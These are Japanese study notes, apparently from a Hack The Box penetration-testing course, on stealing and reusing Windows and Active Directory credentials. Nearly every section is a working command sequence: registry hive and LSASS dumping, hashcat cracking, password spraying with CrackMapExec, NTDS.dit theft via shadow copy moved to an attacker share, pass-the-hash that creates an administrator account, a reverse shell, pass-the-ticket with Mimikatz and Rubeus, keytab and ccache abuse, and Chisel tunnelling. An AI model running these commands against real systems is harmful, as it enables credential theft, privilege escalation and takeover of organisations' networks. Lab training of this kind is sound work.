要は、パスワードハッシュを取得して、クラックして、認証情報を取得しようという試み
Windows 基礎の認証プロセスに結構書いてあるから、一回読んどくと良さそう
でも、管理者権限が必要なものが多いかな？

ローカルパスワード攻撃のいいところ

SAMへの攻撃

概要

ターゲットにローカル管理者アクセス権がある場合、コピーできるレジストリハイブが3つある
ハッシュをダンプしてクラックするときは、それぞれが特定の目的を持つ

レジストリハイブ 含まれる情報 攻撃者ができること（具体例）
hklm\sam ローカルアカウントのハッシュ（Windowsのローカルユーザーのパスワードハッシュ）
このsamは、SAMデータベースの意味samで、ユーザー名がsamというわけではない		 - ハッシュをクラックすることで、他のシステム・ユーザーへ横展開
- 得たクレデンシャルを使ってRDPやSMB経由でシステムにアクセス
hklm\system SAMデータベースの暗号化に使用されるブートキー - ハッシュを抜き出し、権限昇格（Privilege Escalation）や横展開（Lateral Movement）に利用
- LSA Secrets の復号に使用し、保存されているクレデンシャルを取得
hklm\security ドメインアカウントのキャッシュされた資格情報（NL$KM） -キャッシュされたドメインログオン情報をダンプし、ハッシュやパスワードを取得（mimikatz, secretsdump.py など）
- ドメインに参加している場合、管理者クレデンシャルを取得できる可能性がある
- ドメイン環境での横展開（DCや他のサーバーへのアクセス）

reg.exeを使用してレジストリハイブをコピーする

C:\WINDOWS\system32> reg.exe save hklm\sam C:\sam.save

The operation completed successfully.

C:\WINDOWS\system32> reg.exe save hklm\system C:\system.save

The operation completed successfully.

C:\WINDOWS\system32> reg.exe save hklm\security C:\security.save

The operation completed successfully.

ファイル転送

以下のいずれかの例を使用して、ファイルを転送する
File Transferの「LinuxでSMBサーバーを建てる」が一番ベスト

Impacketのsecretsdump.pyでハッシュをダンプする

locate secretsdump.py

python3 /usr/share/doc/python3-impacket/examples/secretsdump.py -sam sam.save -security security.save -system system.save LOCAL

secretsdump.pyの出力の上部に注目する

ダンプされたハッシュの見方

ユーザー名:RID:LMハッシュ:NTハッシュ:::

例
bob:1001:aad3b435b51404eeaad3b435b51404ee:64f12cddaa88057e06a81b54e73b949b:::

フィールド 値 説明
ユーザー名 bob Windowsのユーザー名
RID 1001 相対識別子（Relative Identifier）。Windowsの各ユーザーに割り当てられる一意のID
LMハッシュ aad3b435b51404eeaad3b435b51404ee LAN Manager（LM）ハッシュ。通常、新しいWindowsでは無効化されており、常にこの固定値になる
NTハッシュ 64f12cddaa88057e06a81b54e73b949b NTLM（NT）ハッシュ。Windowsパスワードのハッシュ化形式で、攻撃者がクラックを試みる部分
その他 ::: 予備フィールド（歴史的な名残で存在するが通常は空）
NTハッシュの部分をまとめてhashestocrack.txtとして、保存する 
snowyowl644@htb[/htb]$ sudo nano hashestocrack.txt

64f12cddaa88057e06a81b54e73b949b
31d6cfe0d16ae931b73c59d7e0c089c0
6f8c3f4d3869a10f3b4f0522f537fd33
184ecdda8cf1dd238d438c4aea4d560d
f7eb9c06fafaa23c4bcf22ba6781c1e2

Hashcatでハッシュをクラックする

sudo hashcat -m 1000 hashestocrack.txt /usr/share/wordlists/rockyou.txt

リモートでのSAM・LSA攻撃

LSAシークレットをリモートでダンプする

crackmapexec smb <ターゲットIP> --local-auth -u <ユーザー名> -p <パスワード> --lsa

このコマンドは、SMBを使ってターゲットのLSA Secretsを取得し、システム上に保存されている認証情報をダンプする目的で使用されます。
SAMをリモートでダンプする

crackmapexec smb <ターゲットIP> --local-auth -u <ユーザー名> -p <パスワード> --sam

LSASSへの攻撃

概要

メモリダンプの作成方法

タスクマネージャからメモリダンプを作成できる方法
「タスクマネージャーを開く」 > 「プロセスタブを選択」 > 「Local Security Authority Process を見つけて右クリック」 > 「ダンプファイルを作成を選択」
すると、C:\Users\loggedonusersdirectory\AppData\Local\Tempにlsass.DMPというファイルが作られるので、攻撃元に送って、ハッシュをクラックする

Rundll32.exe & Comsvcs.dll メソッド

C:\Windows\system32> tasklist /svc

PowerShell

PS C:\Windows\system32> Get-Process lsass

LSASSプロセスにPIDを割り当てたら、ダンプファイルを作成できる

PS C:\Windows\system32> rundll32 C:\windows\system32\comsvcs.dll, MiniDump <上で調べたId> C:\lsass.dmp full

ダンプできたファイルは、攻撃元に送っておく

ファイル転送

以下のいずれかの例を使用して、ファイルを転送する
File Transferの「LinuxでSMBサーバーを建てる」が一番ベスト

Pypykatzを使用して資格情報を抽出する

攻撃元のKali

pip3 install pypykatz

pypykatz lsa minidump <ダンプしてきたファイル>

出力されるログの詳細な情報の確認

みつかったNTハッシュをHashCatでクラックすればできる

sudo hashcat -m 1000 64f12cddaa88057e06a81b54e73b949b /usr/share/wordlists/rockyou.txt

Active DirectoryとNTDS.ditへの攻撃

概要

Windowsシステムがドメインに参加した際の認証プロセス

CrackMapExecを使用したADアカウントへの辞書攻撃

辞書攻撃を行う際の懸念

回避策

ターゲットに応じたカスタマイズとユーザー名の特定

辞書攻撃の成功率を高めるには、ターゲット企業の情報を収集し、ユーザー名の命名規則を特定することが重要。
以下の手順で、より効果的なユーザー名リストを作成できる。

1. 企業情報の収集

2. ユーザー名の命名規則を特定

企業によっては、従業員のユーザー名に共通のルールがある。
例えば、Jane Jill Doe という名前の従業員がいる場合、以下のような形式が考えられる。

ユーザー名の形式 例
頭文字＋姓 jdoe
頭文字（名＋ミドル名）＋姓 jjdoe
フルネーム（名＋姓） janedoe
名.姓 jane.doe
姓.名 doe.jane
ニックネーム doedoehacksstuff

3. メールアドレスの構造を利用

4. 追加の情報収集テクニック（MrB3nのヒント）

ユーザー名リストの自動生成

ユーザー名リストは手動で作成することも可能だが、自動生成ツールを活用すれば効率的に一般的なユーザー名フォーマットを作成できる。

1. わかっているユーザーネームをファイルにまとめる

snowyowl644@htb[/htb]$ cat usernames.txt 
bwilliamson
benwilliamson
ben.willamson
willamson.ben
bburgerstien
bobburgerstien
bob.burgerstien
burgerstien.bob
jstevenson
jimstevenson
jim.stevenson
stevenson.jim

2. 自動リスト生成ツールを使用

3. Username Anarchy の利用方法

  1. ツールをGitでクローン
git clone https://github.com/urbanadventurer/username-anarchy.git
cd username-anarchy
  1. リストを使ってユーザー名を生成
./username-anarchy -i ../usernames.txt

→ 実際の名前リストを基に、一般的なユーザー名形式を自動的に作成

パスワードにカスタムルールを適用する

hashcat --force password.list -r custom.rule --stdout | sort -u > mut_password.list

CrackMapExecで攻撃を開始する

例 : ユーザー(-u) bwilliamson に対して、パスワードリスト（-p） /usr/share/wordlists/fasttrack.txtに含まれる一般的なパスワードを試行

crackmapexec smb 10.129.201.57 -u bwilliamson -p /usr/share/wordlists/fasttrack.txt

ユーザー側もファイルを指定したい場合

crackmapexec smb 10.129.201.57 -u users.txt -p /usr/share/wordlists/fasttrack.txt

注意点: アカウントロックアウトのリスク

NTDS.ditのキャプチャ

Evil-WinRMでDCに接続

DC : Domain Contoroller

evil-winrm -i 10.129.201.57  -u bwilliamson -p 'P@55w0rd!'

ローカルグループメンバーシップの確認

ログインしたユーザーの権限と、ローカルグループのメンバーシップを調べる

アカウントにローカル管理者権限があるかどうかを確認
NTDS.ditファイルのコピーを作成するには、ローカル管理者（Administrators group）またはドメイン管理者（Domain Admins group）（または同等の）権限が必要

*Evil-WinRM* PS C:\> net localgroup

ドメインを含むユーザーアカウントの権限の確認

*Evil-WinRM* PS C:\> net user <ユーザー名>

Cのシャドウコピーの作成

vssadminを使用して、Cドライブまたは管理者がADの初期インストール時に選択した任意のボリュームのVSSを作成する

*Evil-WinRM* PS C:\> vssadmin CREATE SHADOW /For=C:

VSS から NTDS.dit をコピーして、攻撃元に転送する

C:の作成できたVSSから、NTDS.ditファイルだけを抽出する

*Evil-WinRM* PS C:\NTDS> cmd.exe /c copy <Shadow Copy Volume Name>\Windows\NTDS\NTDS.dit c:\NTDS\NTDS.dit

転送は、File Transferの「LinuxでSMBサーバーを建てる」の方法で、攻撃元のLinuxを準備する

攻撃先のWindows用のコマンド

*Evil-WinRM* PS C:\NTDS> cmd.exe /c move C:\NTDS\NTDS.dit \\<攻撃元のIP>\CompData

CrackMapExecを使うことで自動化する

crackmapexec smb 10.129.201.57 -u bwilliamson -p P@55w0rd! --ntds

ハッシュのクラックとPass-The-Hashでのログイン

Pass-The-Hash

コマンド

evil-winrm -i 10.129.201.57  -u  Administrator -H "64f12cddaa88057e06a81b54e73b949b"

ターゲットへの初期侵入後、ネットワーク内で横展開を行う必要がある場合に、Pass-The-Hashを試みることができる

Windowsでの資格情報ハンティング(Credential Hunting)

検索

IT 管理者は日常的に何をしていますか？資格情報が必要なタスクはどれですか？
と考えて、検索するのが大事

検索する主な用語

lazagneが持つすべてのモジュールが実行される

C:\Users\bob\Desktop> start lazagne.exe all -vv

C:\> findstr /SIM /C:"password" *.txt *.ini *.cfg *.config *.xml *.git *.ps1 *.yml

横展開

PtH(Pass the Hash)

Windows NTLM

Windowsで横方向への攻撃

具体的なシナリオ
Kali LinuxとかでターゲットのWindowsを攻撃して、そこからさらに掌握したWindowsで横展開していくイメージ

Mimikatz

NTLM ハッシュを使って julio の認証を突破し、新しい cmd.exe のセッションを取得

mimikatz.exe privilege::debug "sekurlsa::pth /user:julio /rc4:64F12CDDAA88057E06A81B54E73B949B /domain:inlanefreight.htb /run:cmd.exe" exit
オプション 説明
/user 偽装したいユーザー名。
/rc4 or /NTLM ユーザーのパスワードの NTLM ハッシュ。
/domain なりすますドメイン名（ローカルユーザーの場合はコンピュータ名, localhost, . を指定）。
/run ユーザーのコンテキストで実行するプログラム（指定しない場合は cmd.exe）。
Mimikatzでログイン情報を抽出 
mimikatz.exe
mimikatz # privilege::debug
mimikatz # sekurlsa::logonpasswords

mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" "exit"

PowerShell Invoke-TheHashでハッシュを渡す

使用例

mark という名前の新しいユーザーを作成し、そのユーザーを Administrators グループに追加する

PS c:\htb> cd C:\tools\Invoke-TheHash\
PS c:\tools\Invoke-TheHash> Import-Module .\Invoke-TheHash.psd1
PS c:\tools\Invoke-TheHash> Invoke-SMBExec -Target 172.16.1.10 -Domain inlanefreight.htb -Username julio -Hash 64F12CDDAA88057E06A81B54E73B949B -Command "net user mark Password123 /add && net localgroup administrators mark /add" -Verbose
オプション 説明
Target ターゲットのホスト名または IP アドレス。
Username 認証に使用するユーザー名。
Domain 認証に使用するドメイン（ローカルアカウントや @domain を指定する場合は不要）。
Hash 認証のための NTLM パスワードハッシュ（LM:NTLM または NTLM 形式）。
Command ターゲットで実行するコマンド（指定しない場合は WMI アクセス確認のみ）。

リバースシェルを張る
ターゲット側でncで待ち受ける

PS C:\tools> .\nc.exe -lvnp 8001
listening on [any] 8001 ...

PS c:\tools\Invoke-TheHash> Import-Module .\Invoke-TheHash.psd1
PS c:\tools\Invoke-TheHash> Invoke-WMIExec -Target DC01 -Domain inlanefreight.htb -Username julio -Hash 64F12CDDAA88057E06A81B54E73B949B -Command " [https://www.revshells.com/](https://www.revshells.com/)のPowerShell #3 (Base64)のコピペ"

[+] Command executed with process id 520 on DC01

Linuxで横方向への攻撃

具体的なシナリオ
Kali LinuxとかでターゲットのWindowsを攻撃して、そこからさらに掌握したWindowsの中で得られた情報を使って、Kali Linuxで横展開の攻撃を行うイメージ

Impacket

PsExecを使用してターゲットマシンでコマンド実行を実行する

impacket-psexec administrator@10.129.201.126 -hashes :30B3783CE2ABF1AF70F77D0660CF3453

CrackMapExecでハッシュを渡す

CrackMapExecでハッシュを渡す

crackmapexec smb 172.16.1.0/24 -u Administrator -d . -H 30B3783CE2ABF1AF70F77D0660CF3453

whoamiコマンドを実行している様子

crackmapexec smb 10.129.201.126 -u Administrator -d . -H 30B3783CE2ABF1AF70F77D0660CF3453 -x whoami

公式ドキュメント

RDPでハッシュを渡す

xfreerdpとかでアクセスできるけど、いくつかの注意点がある

c:\tools> reg add HKLM\System\CurrentControlSet\Control\Lsa /t REG_DWORD /v DisableRestrictedAdmin /d 0x0 /f

Restricted Admin Modeを有効にしたら、Pass The Hashでログインできる

xfreerdp  /v:10.129.201.126 /u:julio /pth:64F12CDDAA88057E06A81B54E73B949B

UACによる制限

reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v LocalAccountTokenFilterPolicy /t REG_DWORD /d 1 /f

PtT(Pass The Ticket)

不正に入手した Kerberosチケットを使用して横方向に移動する

Kerberos認証

PtT攻撃

ここでのシナリオ

PtT攻撃の前提
ユーザーPCに侵入・ローカル管理者権限を取得した状態

Windows

LSASSのメモリからKerberosチケットを取得

Windowsでは、チケットはLSASS（Local Security Authority Subsystem Service）プロセスによって処理され、保存される

チケットの方式

mimikatz.exeの実行

mimikatz.exe
privilege::debug
sekurlsa::tickets /export
exit

evil-winrmとかだと上野方式がうまく動かない可能性が全然あるので、↓を使う

.\mimikatz.exe "privilege::debug" "log" "sekurlsa::logonpasswords" exit

Rubeus.exe dump /nowrap

取得したKerberosチケットの収集

dir *.kirbi

Pass the Key（PtK） / OverPass the Hash（OPtH）

mimikatz.exe
privilege::debug
sekurlsa::ekeys

上のコマンドの結果、AES256_HMAC キーと RC4_HMAC キーにアクセスできるようになり、Mimikatz と Rubeus を使用して、OverPass the Hash または Pass the Key 攻撃を実行できる

mimikatz.exe
privilege::debug
sekurlsa::pth /domain:inlanefreight.htb /user:<User Name> /ntlm:<sekurlsa::ekeysのrc4_*の値>

Rubeus を使用して Kerberosチケットを偽造 するには、/rc4、/aes128、/aes256、または /des オプションを使用し、ユーザー名・ドメイン・ハッシュを指定して asktgt モジュールを実行できる
Mimikatz sekurlsa::ekeys を使用して取得した情報から、AES256のハッシュを使用してチケットを作成する

Rubeus.exe  asktgt /domain:inlanefreight.htb /user:<User Name> /aes256:b21c99fc068e3ab2ca789bccbef67de43791fd911c6e15ead25641a8fda3fe60 /nowrap

PtTへの展開

./Rubeus.exe asktgt /domain:inlanefreight.htb /user:plaintext /rc4:3f74aa8f08f712f09cd5177b5c1ce50f /ptt

↑のコマンドの出力の中のbase64 出力を使用して、Pass the Ticketを実行できる

./Rubeus.exe ptt /ticket:<上のコマンドで出力されたBase64の値>

別の方法として、ディスク上の.kirbi ファイルを使用して、現在のセッションにチケットをインポートすることも可能
Mimikatzからエクスポートしたチケットを使用して、インポートする

Rubeus.exe ptt /ticket:[0;6c680]-2-0-40e10000-plaintext@krbtgt-inlanefreight.htb.kirbi

.kirbi を base64 に変換して、チケットを渡す攻撃を実行することもできる
.kirbiをBase64形式に変換する

[Convert]::ToBase64StringReadAllBytes("[0;6c680]-2-0-40e10000-plaintext@krbtgt-inlanefreight.htb.kirbi")

Mimikatzモジュールkerberos::pttと、インポートしたいチケットを含む.kirbiファイルを使用して、パス・ザ・チケット攻撃を実行することもできる

mimikatz.exe 
privilege::debug
kerberos::ptt "C:\Users\plaintext\Desktop\Mimikatz\[0;6c680]-2-0-40e10000-plaintext@krbtgt-inlanefreight.htb.kirbi"
misc::cmd
exit
dir \\DC01.inlanefreight.htb\c$

PowerShell Remotingでチケットを渡す

Mimikatz

Pass-the-Ticket（PtT）でPowerShellリモート接続

  1. Mimikatzでチケットをインポート
    • cmd.exe を開く
    • mimikatz.exe を実行
    • kerberos::ptt で .kirbi チケットを適用
  2. PowerShellでターゲットに接続
    • 同じ cmd.exe から PowerShell を起動
    • Enter-PSSession -ComputerName <ターゲットマシン> で接続
mimikatz.exe
privilege::debug
kerberos::ptt "C:\Users\Administrator.WIN01\Desktop\[0;1812a]-2-0-40e10000-john@krbtgt-INLANEFREIGHT.HTB.kirbi"
exit

横展開

powershell
Enter-PSSession -ComputerName DC01

Rubeus

  1. createnetonly を使用して犠牲プロセスを作成
Rubeus.exe createnetonly /program:"C:\Windows\System32\cmd.exe" /show
  1. asktgt を使用して TGT を取得し、インポート
Rubeus.exe asktgt /user:john /domain:inlanefreight.htb /aes256:9279bcbd40db957a0ed0d3856b2e67f9bb58e6dc7fc07207d0763ce2713f11dc /ptt
  1. PowerShellでターゲットにリモート接続
powershell
Enter-PSSession -ComputerName DC01

Linux

Linux も Active Directory (AD) に参加できるから、DCへの横展開とかはLinuxからもできる

Linux上のKerberos

シナリオ

MS01からLinuxマシンへの接続

ssh user@LINUX01

ポートフォワード経由のLinux認証

 ssh david@inlanefreight.htb@10.129.204.23 -p 2222

LinuxマシンがADに参加しているかを調べる

realmというツールを使って調べることができる

realm list

realmが使えない場合は、sssdやwinbindなどのツールで同じことができる

ps -ef | grep -i "winbind\|sssd"

LinuxからDCになりすまして接続する

Keytabファイルの検索

find / -name *keytab* -ls 2>/dev/null

cronjobなどの自動スクリプト内の検索

crontab -l

ccacheファイルを見つける

環境変数

env | grep -i krb5

デフォルトの保存場所

ls -la /tmp

KeyTabファイルの悪用

なりすまし先のユーザーを探す

klist

出力された情報の中のPrincipalの欄でどのユーザーになりすませるかがわかる

kinitを使用してユーザーになりすます

kinit carlos@INLANEFREIGHT.HTB -k -t /opt/specialfiles/carlos.keytab

smbに接続してなりすましできているかどうかを確認する

smbclient //dc01/carlos -k -c ls

Linuxで他アカウントにログインする

.keytabファイルから認証情報を抽出することで、他アカウントにログインする

KeyTabExtractでKeyTabハッシュを抽出する

wget https://raw.githubusercontent.com/sosdave/KeyTabExtract/refs/heads/master/keytabextract.py
python3 keytabextract.py /opt/specialfiles/carlos.keytab

https://crackstation.net/などのレインボーテーブル攻撃などでNTLMハッシュをクラックして、他アカウントにログインできる

su - carlos@inlanefreight.htb

ccacheでより多くのハッシュを取得する

前提　: ADに参加しているlinux上でrootを取得済

全ユーザーのccacheファイルを取得する

ls -la /tmp

idコマンドで、グループメンバーを識別する

id julio@inlanefreight.htb

Domain Adminsグループ : ドメインコントローラーホストへのアクセスを行える
ccacheファイルを使用するには、ccacheファイルをコピーし、ファイルパスをKRB5CCNAME変数に割り当てる

ccacheファイルを現在のセッションにインポートする

klist
cp /tmp/krb5cc_647401106_I8I133 .
export KRB5CCNAME=/root/krb5cc_647401106_I8I133
klist
smbclient //dc01/C$ -k -c ls -no-pass
コマンド 説明
klist 現在の Kerberos チケットを確認
cp /tmp/krb5cc_* . /tmp/ 内の Kerberos チケットをコピー（バックアップ）
export KRB5CCNAME=/root/krb5cc_* Kerberos チケットを設定し、使用するよう指定
klist 設定されたチケットを再確認
smbclient //dc01/C$ -k -c ls -no-pass Kerberos 認証を使い、Windows の SMB 共有フォルダにアクセス

KerberosでLinux攻撃ツールを使用する

今までは、ドメイン参加マシンからは接続できても、攻撃者のkali linuxとかは接続は想定していなかった。
このシナリオでは、攻撃者のKali LinuxをChiselやProxychainsなどのツールを使用して、ドメイン参加マシンのMS01を介して通信する方法を学ぶ

まず/etc/hostsファイルに登録する

snowyowl644@htb[/htb]$ cat /etc/hosts

# Host addresses

172.16.1.10 inlanefreight.htb   inlanefreight   dc01.inlanefreight.htb  dc01
172.16.1.5  ms01.inlanefreight.htb  ms01

socks5とポート1080を使用するように、プロキシチェーンの設定ファイルを変更する

snowyowl644@htb[/htb]$ cat /etc/proxychains.conf

<SNIP>

[ProxyList]
socks5 127.0.0.1 1080

Kali LinuxにChiselをダウンロードする

snowyowl644@htb[/htb]$ wget https://github.com/jpillora/chisel/releases/download/v1.7.7/chisel_1.7.7_linux_amd64.gz
snowyowl644@htb[/htb]$ gzip -d chisel_1.7.7_linux_amd64.gz
snowyowl644@htb[/htb]$ mv chisel_* chisel && chmod +x ./chisel
snowyowl644@htb[/htb]$ sudo ./chisel server --reverse 

2022/10/10 07:26:15 server: Reverse tunneling enabled
2022/10/10 07:26:15 server: Fingerprint 58EulHjQXAOsBRpxk232323sdLHd0r3r2nrdVYoYeVM=
2022/10/10 07:26:15 server: Listening on http://0.0.0.0:8080

RDP経由でMS01に接続し、Chiselを実行する

xfreerdp /v:10.129.204.23 /u:david /d:inlanefreight.htb /p:Password2 /dynamic-resolution

クライアントIPは攻撃ホスト(Kali Linux)のIP

C:\htb> c:\tools\chisel.exe client 10.10.14.33:8080 R:socks

2022/10/10 06:34:19 client: Connecting to ws://10.10.14.33:8080
2022/10/10 06:34:20 client: Connected (Latency 125.6177ms)

Kali Linuxから、JulioのccacheファイルをLINUX01から転送し、ccacheファイルのパスに対応する値で環境変数KRB5CCNAMEに作成する

export KRB5CCNAME=/home/htb-student/krb5cc_647401106_I8I133
Impacketを使用する
proxychains impacket-wmiexec dc01 -k
Evil-WinRM を使用する
sudo apt-get install krb5-user -y

cat /etc/krb5.conf

winRMの使用

proxychains evil-winrm -i dc01 -r inlanefreight.htb
Miscellaneous
impacket-ticketConverter krb5cc_647401106_I8I133 julio.kirbi

.kirbiに変換することで、Rubeus を使用した Windows セッションに変換されたチケットのインポートが行える

C:\htb> C:\tools\Rubeus.exe ptt /ticket:c:\tools\julio.kirbi

wget https://raw.githubusercontent.com/CiscoCXSecurity/linikatz/master/linikatz.sh
/opt/linikatz.sh